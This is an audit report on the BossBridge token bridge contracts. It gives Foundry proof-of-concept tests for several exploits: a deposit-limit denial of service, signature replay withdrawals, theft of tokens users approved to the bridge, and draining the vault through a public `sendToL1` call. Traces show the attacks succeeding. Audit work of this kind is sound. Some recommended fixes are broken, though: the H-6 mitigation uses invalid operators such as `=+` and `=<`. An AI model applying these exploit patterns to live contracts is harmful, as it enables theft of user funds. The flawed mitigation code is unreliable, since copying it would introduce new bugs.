BossBridge Security Audit Report by MK (15th DEC 2024)

High Risk Findings

[H-1] Malicious actor can DOS attack `depositTokensToL2`

Description: Malicious actor can DOS attack depositTokensToL2

Impact: User will not be able to deposit token to the bridge in some situations

Proof of Concept:

1. The function depositTokensToL2 has a deposit limit that limits the amount of funds that a user can deposit into the bridges shown here

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
```

https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/1b33f63aef5b6b06acd99d49da65e1c71b40a4f7/src/L1BossBridge.sol#L71

2. The problem is that it uses the contract balance to track this invariant, opening the door for a malicious actor to make a donation to the vault contract to ensure that the deposit limit is reached causing a potential victim's harmless deposit to unexpectedly revert. See modified foundry test below:

```
function testUserCannotDepositBeyondLimit() public {

        vm.startPrank(user2);

        uint DOSamount = 20;
        deal(address(token), user2, DOSamount);
        token.approve(address(token), 20);

        token.transfer(address(vault), 20);

        vm.stopPrank();


        vm.startPrank(user);
        uint256 amount = tokenBridge.DEPOSIT_LIMIT() - 9;
        deal(address(token), user, amount);
        token.approve(address(tokenBridge), amount);

        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.selector);
```

```
        tokenBridge.depositTokensToL2(user, userInL2, amount);
        vm.stopPrank();


    }
```

Recommended Mitigation:

1. Use a mapping to track the deposit limit of each use instead of using the contract balance.

[H-2] Lack of Nonce Verification in `sendToL1` and `withdrawTokensToL1` Function Facilitating Replay Attacks

Description: The `sendToL1` and `withdrawTokensToL1` function in the `L1BossBridge` smart contract is susceptible to replay attacks due to the absence of a nonce verification mechanism. The attacker can exploit this vulnerability to repeatedly withdraw tokens using the same signature, leading to potential financial losses.

Impact: The impact of this vulnerability is severe, as it allows an attacker to repeatedly execute token withdrawals with the same signature, potentially draining the contract's token balance and causing financial harm.

Proof of Concept:

1. The `sendToL1` and `withdrawTokensToL1` function allows for the withdrawal of tokens from `L2` to `L1` based on a provided signature. However, the lack of nonce verification exposes the contract to replay attacks. The proof of concept illustrates how an attacker, having successfully withdrawn tokens once, can reuse the same valid signature to execute the function multiple times. This results in the unauthorized withdrawal of tokens, as the contract does not validate whether the same signature has been used before.

```
function testMultyCallWithSameSignature() public {
        uint256 depositAmount = 10e18;
        uint256 withdrawAmount = 1e18;

        // User deposit tokens on L1
        vm.startPrank(user);
        token.approve(address(tokenBridge), depositAmount);
        tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
        vm.stopPrank();

        // Operator sing the message to withdraw tokens
        bytes memory message = _getTokenWithdrawalMessage(hacker, withdrawAmount);
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

        // Hacker can withdraw tokens multiple times with the same signature
        vm.startPrank(hacker);
        tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
        tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
        tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
        tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
```

```
        vm.startPrank(hacker);

        assertEq(token.balanceOf(hacker), (withdrawAmount * 4));
}
```

Recommended Mitigation:

1. Implement Nonce Verification: Introduce a nonce parameter in the function signature and maintain a nonce registry for each signer. Ensure that the provided nonce is greater than the previously used nonce for the same signer. Also, to prevent the same signature from being used between `L1` and `L2`, it is recommended to add the `chainId` parameter within the signature.

```
+ function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r,
bytes32 s) external nonReentrant whenNotPaused {
- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r,
bytes32 s) external {
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount)),
+               chainId, // chain id
+               nonce++ // nonce
            )
        );
}

+ function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) internal
{
- function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public
nonReentrant whenNotPaused {
        address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r,
s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) = abi.decode(message,
(address, uint256, bytes));

        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
}
```

[H-3] `CREATE` is not available in the zkSync Era

Description: In the current code devs are using CREATE but in zkSync Era, CREATE for arbitrary bytecode is not available, so a revert occurs in the `deployToken` process.

Impact: Protocol will not work on zkSync

Proof of Concept:

1. According to the contest README which you can see here and i've listed it below also, the project can be deployed in zkSync Era

```
Chain(s) to deploy contracts to:
  Ethereum Mainnet:
    L1BossBridge.sol
    L1Token.sol
    L1Vault.sol
    TokenFactory.sol
  ZKSync Era:
    TokenFactory.sol
  Tokens:
    L1Token.sol (And copies, with different names & initial supplies)
```

2. The zkSync Era docs explain how it differs from Ethereum.
3. The description of CREATE and CREATE2 (https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#create-create2) states that Create cannot be used for arbitrary code unknown to the compiler.
4. According to zkSync `The following code will not function correctly because the compiler is not aware of the bytecode beforehand:`

```
function myFactory(bytes memory bytecode) public {
   assembly {
      addr := create(0, add(bytecode, 0x20), mload(bytecode))
   }
}
```

5. Now if we look at the code of `Boss Bridge` here we can see that `Boss Bridge` is using exactly similar code which is as below

```
function deployToken(string memory symbol, bytes memory contractBytecode) public
onlyOwner returns (address addr) {
        assembly {
            addr := create(0, add(contractBytecode, 0x20),
mload(contractBytecode))
        }
```

Recommended Mitigation:

1. Follow the instructions that are stated in zksync docs here

```
To guarantee that create/create2 functions operate correctly, the compiler must be aware of the bytecode of the deployed contract in advance. The compiler interprets the calldata arguments as incomplete input for ContractDeployer, as the remaining part is filled in by the compiler internally. The Yul datasize and dataoffset instructions have been adjusted to return the constant size and bytecode hash rather than the bytecode itself
```

2. The code below should work as expected:

```
MyContract a = new MyContract();
MyContract a = new MyContract{salt: ...}();
```

```
In addition, the subsequent code should also work, but it must be explicitly tested to ensure its intended functionality:
```

```
bytes memory bytecode = type(MyContract).creationCode;
assembly {
    addr := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
```

[H-4] Steal funds of any token approved to `L1BossBridge`

Description: We can steal any token approved by any user to the `L1BossBridge` contract by transferring it to the bridge and minting it on the L2.

Impact:

1. Loss of funds for any user approving the `L1BossBridge` to spend funds on the L1.

Test:

```
function test_TokenApprovalThief() public {
        // Create users
        address alice = vm.addr(1);
        vm.label(alice, "Alice");

        address bob = vm.addr(2);
        vm.label(bob, "Bob");

        // Distribute tokens
        deal(address(token), alice, 10e18);

        console2.log("Token balance alice (before):", token.balanceOf(alice));
```

```
        console2.log("Token balance bob (before):", token.balanceOf(bob));

        // Alice approves bridge
        vm.prank(alice);
        token.approve(address(tokenBridge), type(uint256).max);

        // Bob calls depositTokensToL2 with alice as from
        vm.prank(bob);
        tokenBridge.depositTokensToL2(alice, bob, 10e18);

        console2.log("Token balance alice (after):", token.balanceOf(alice));
    }
```

Logs:

```
  Token balance alice (before): 10000000000000000000
  Token balance bob (before): 0
  Token balance alice (after): 0
```

Significant traces:

```
[27633] L1BossBridge::depositTokensToL2(Alice:
[0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf], Bob:
[0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF], 10000000000000000000 [1e19])
    │   ├─ [2562] L1Token::balanceOf(L1Vault:
[0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [18899] L1Token::transferFrom(Alice:
[0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf], L1Vault:
[0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], 10000000000000000000 [1e19])
    │   │   ├─ emit Transfer(from: 10000000000000000000 [1e19])
    │   │   └─ ← true
    │   ├─ emit Deposit(from: Alice: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf],
to: Bob: [0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF], amount:
10000000000000000000 [1e19])
```

Proof of Concept:

- The `depositTokensToL2(...)` function takes in a `from`, `l2Recipient` and `amount` parameter. In the function body a `safeTransferFrom(...)` call is made to the token, where `amount` funds are transferred from the specified `from` address to the vault. An attacker is able to specify this `from` address as a function argument. A `Deposit` event is then emitted by the contract indicating a successful deposit, where the `l2Recipient` is then permitted to mint the token on the L2. As a result of this an attacker can specify any `from` address for a user that has previously approved `token` (and other tokens when they are added) to be spent by the `L1BossBridge` contract, and set him/herself as the `l2Recipient`. In doing so stealing funds of the user on the L1 side and minting it to the attacker on the L2 side.

Recommended Mitigation:

1. Remove the `from` parameter and change `token.safeTransferFrom(from, address(vault), amount);` to `token.safeTransferFrom(msg.sender, address(vault), amount);`

[H-5] The entire vault can be drained by calling `L1BossBridge::sendToL1` and hijacking `L1Vault::approveTo`

Description: `L1BossBridge::sendToL1` has a state visibility of `public` meaning that anyone can call this function with an arbitrary value for the `message` parameter. This means that they can encode any arbitrary function call. An attacker can therefore specify the target to be the vault, and since the `msg.sender` will be `L1BossBridge` which is the `owner` of the vault contract, it can call `L1Vault::approveTo` to approve their attacking address to be able to withdraw the entire balance from the vault.

Impact: Attackers can force their approval to withdraw the entire vault balance. This is a high-risk and high-likelihood finding, therefore high-severity.

Proof of Concept:

1. In `L1BossBridge::sendToL1` on lines 112-125, any arbitrary message can be passed as a parameter. This message is then decoded to find the `target` contract, the `value`, and the `data` (or function selector with ABI encoded arguments) to call:

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public
nonReentrant whenNotPaused {
    address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r,
s);

    if (!signers[signer]) {
        revert L1BossBridge__Unauthorized();
    }

    (address target, uint256 value, bytes memory data) = abi.decode(message,
(address, uint256, bytes));

    (bool success,) = target.call{ value: value }(data);
    if (!success) {
        revert L1BossBridge__CallFailed();
    }
}
```

2. This is an external call where the `msg.sender` is the `L1BossBridge` contract. The bridge is the `owner` of the `L1Vault` contract as it deploys the vault:

```
constructor(IERC20 _token) Ownable(msg.sender) {
    token = _token;
    vault = new L1Vault(token);
    // Allows the bridge to move tokens out of the vault to facilitate withdrawals
```

```
        vault.approveTo(address(this), type(uint256).max);
    }
```

3. In the vault's constructor, the deployer of the vault is set as the `owner`:

```
    constructor(IERC20 _token) Ownable(msg.sender) {
        token = _token;
    }
```

4. An attacker can encode `L1Vault::approveTo` to be called, with their attacking address as the `to` value and `type(uint256).max` as the amount, meaning that the attacker can withdraw the entire vault balance.

Recommended Mitigation:

1. Set the `L1BossBridge::sendToL1` function visibility to `private` to ensure that it can only be called via `L1BossBridge::withdrawToL1` or restrict the call data to specific function selectors.

[H-6] Attacker can drain vault tokens by depositing any amount of corresponding tokens to L2

Description: Attacker can drain vault tokens by depositing any amount of corresponding tokens to L2 as there is no checking of amount of deposit added to the bridge by each user.

Impact: This can cause all the tokens of a vault to be drained as long as the attacker can acquire a small amount of those tokens.

Proof of Concept:

1. To test this create an address for the attacker:

```
    address attacker = makeAddr("attacker");
```

2. Transfer him some tokens in the setup

```
    token.transfer(address(attacker), 1e8);
```

3. Run the below test:

```
        function testAttackerCanDrainPoolWithOperatorSignature() public {
            // user to add some deposit
            vm.startPrank(user);
            uint256 depositAmount = 100e18;
```

```
        token.approve(address(tokenBridge), depositAmount);
        tokenBridge.depositTokensToL2(user, userInL2, depositAmount);


        // attacker to add some deposit
        vm.startPrank(attacker);
        uint256 attackerAmount = 1e8;
        token.approve(address(tokenBridge), attackerAmount);
        tokenBridge.depositTokensToL2(attacker, userInL2, attackerAmount);


        (uint8 v, bytes32 r, bytes32 s) =
_signMessage(_getTokenWithdrawalMessage(attacker, depositAmount + attackerAmount),
operator.key);
        tokenBridge.withdrawTokensToL1(attacker, depositAmount + attackerAmount,
v, r, s);

        uint256 endAttackerBalance = token.balanceOf(address(attacker));
        assertEq(depositAmount + attackerAmount, endAttackerBalance);
    }
```

Recommended Mitigation:

1. Create a mapping of deposits of users

```
mapping(address account => uint256 deposit) depositOfUsers;
```

2. In deposits, update the mapping

```
depositOfUsers[from] =+ amount;
```

and require that users cannot withdraw more than what they have deposited

```
require(amount =< depositOfUsers[account])
depositOfUsers[to] =- amount;
```

before sending the transfer

[H-7] `L1Token` contract deployment from `TokenFactory` locks tokens forever

Description: `L1Token` contract deployment from `TokenFactory` locks tokens forever

Impact: Using this token factory to deploy tokens will result in unusable tokens, and no transfers can be made.

Proof of Concept: `TokenFactory::deployToken` deploys `L1Token` contracts, but the `L1Token` mints initial supply to `msg.sender`, in this case, the `TokenFactory` contract itself. After deployment, there is no way to either transfer out these tokens or mint new ones, as the holder of the tokens, `TokenFactory`, has no functions for this, also not an upgradeable contract, so all token supply is locked forever.

Recommended Mitigation:

1. Consider passing a receiver address for the initial minted tokens, different from the msg.sender:

```
contract L1Token is ERC20 {
    uint256 private constant INITIAL_SUPPLY = 1_000_000;

-    constructor() ERC20("BossBridgeToken", "BBT") {
+    constructor(address receiver) ERC20("BossBridgeToken", "BBT") {
-         _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
+         _mint(receiver, INITIAL_SUPPLY * 10 ** decimals());
    }
}
```

Low Risk Findings

[L-1] `TokenFactory::deployToken` can create multiple token with same `symbol`

Description: `TokenFactory::deployToken` is creating new token by taking token `symbol` and token `contractByteCode` as argument, owner can create multiple token with same `symbol` by mistake

Impact: If that token is being used in validation then all the token holders will lose funds

Proof of Concept:

1. `deployToken` is not checking weather that token exists or not.

How it will work

```
* Owner created a token with symbol TEST and it will store tokenAddress in
`s_tokenToAddress` mapping
* Again owner created a token with symbol TEST and this will replace the previous
tokenAddress with symbol TEST
```

Here is the PoC

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console2 } from "forge-std/Test.sol";
```

```
import { TokenFactory } from "../src/TokenFactory.sol";
import { L1Token } from "../src/L1Token.sol";

contract TokenFactoryTest is Test {
    TokenFactory tokenFactory;
    address owner = makeAddr("owner");

    function setUp() public {
        vm.prank(owner);
        tokenFactory = new TokenFactory();
    }

    function test_can_create_duplicate_tokens() public {
        vm.startPrank(owner);
        address tokenAddress = tokenFactory.deployToken("TEST",
type(L1Token).creationCode);
        address duplicate = tokenFactory.deployToken("TEST",
type(L1Token).creationCode);

         // here you can see tokenAddress is the duplicate one
        assertEq(tokenFactory.getTokenAddressFromSymbol("TEST"), duplicate);
    }
}
```

To run test

```
forge test --mt test_can_create_duplicate_tokens -vvv
```

Recommended Mitigation:

1. Use checks to see, if that token exists in `TokenFactory::deployToken`

```
+    if (s_tokenToAddress[symbol] != address(0)) {
+          revert TokenFactory_AlreadyExist();
+     }
```

[L-2] Potential Incompatibility Risks of Using the Latest Solidity Version (0.8.20)

Description: The provided Solidity smart contract code is using the latest version of Solidity (0.8.20) as indicated by the `pragma solidity 0.8.20;` statement. While it's generally a good idea to use the latest version of Solidity to take advantage of the latest security fixes and features, there are potential issues that could arise from this.

Impact: Potential issues with using the latest Solidity version include EVM incompatibility (e.g., PUSH0 opcode in Solidity 0.8.20 on non-mainnet chains), breaking changes, security risks (e.g., reentrancy or frontrunning), vulnerabilities in assembly-based deployment, and compatibility issues with older Solidity versions.

Proof of Concept:

1. The primary concern identified in the smart contracts relates to the Solidity compiler version used, specifically `pragma solidity 0.8.20;`. This version, along with every version after `0.8.19`, introduces the use of the `PUSH0` opcode. This opcode is not universally supported across all Ethereum Virtual Machine (EVM)-based Layer 2 (L2) solutions. For instance, ZKSync, one of the targeted platforms for this protocol's deployment, does not currently support the `PUSH0` opcode.
2. The consequence of this incompatibility is that contracts compiled with Solidity versions higher than `0.8.19` may not function correctly or fail to deploy on certain L2 solutions.

```
File: L1BossBridge.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
```

Recommended Mitigation:

1. In conclusion, while using the latest version of Solidity can provide access to the latest features and security enhancements, it's important to consider the potential issues and take appropriate measures to mitigate them. This includes thoroughly testing your contract on different EVM versions, understanding and mitigating potential security risks, and ensuring compatibility with other contracts that may interact with your contract.
2. Recommendation is to use older versions (preferably 0.8.18, at the time of writing) to prevent unexpected results, changes, and behavior.

[L-3] Optimization and Feedback Enhancement in setSigner Function for Efficient State Management

Description: The contract includes a setSigner function used to enable or disable a signer. The proposed function enhancements ensure that unnecessary state changes are avoided and emit events to provide feedback when attempting to set the signer's status to the same state.

Impact: The impact of the initial vulnerability was minor, primarily concerning inefficient state changes and gas costs due to unnecessary writes. The improved function aims to prevent such inefficiencies by skipping state updates when the signer is already in the desired state.

Proof of Concept: The previous version of the setSigner function did not account for cases where the signer's status matched the desired state, potentially leading to unnecessary state changes. The updated function prevents redundant state updates and emits events to signify when the signer's status is already aligned with the desired state.

Recommended Mitigation: The recommended enhancements aim to improve the efficiency of the setSigner function by avoiding unnecessary state changes. By emitting events that provide feedback when the signer's status matches the desired state, it enhances the clarity of the contract's behavior and potentially reduces gas costs.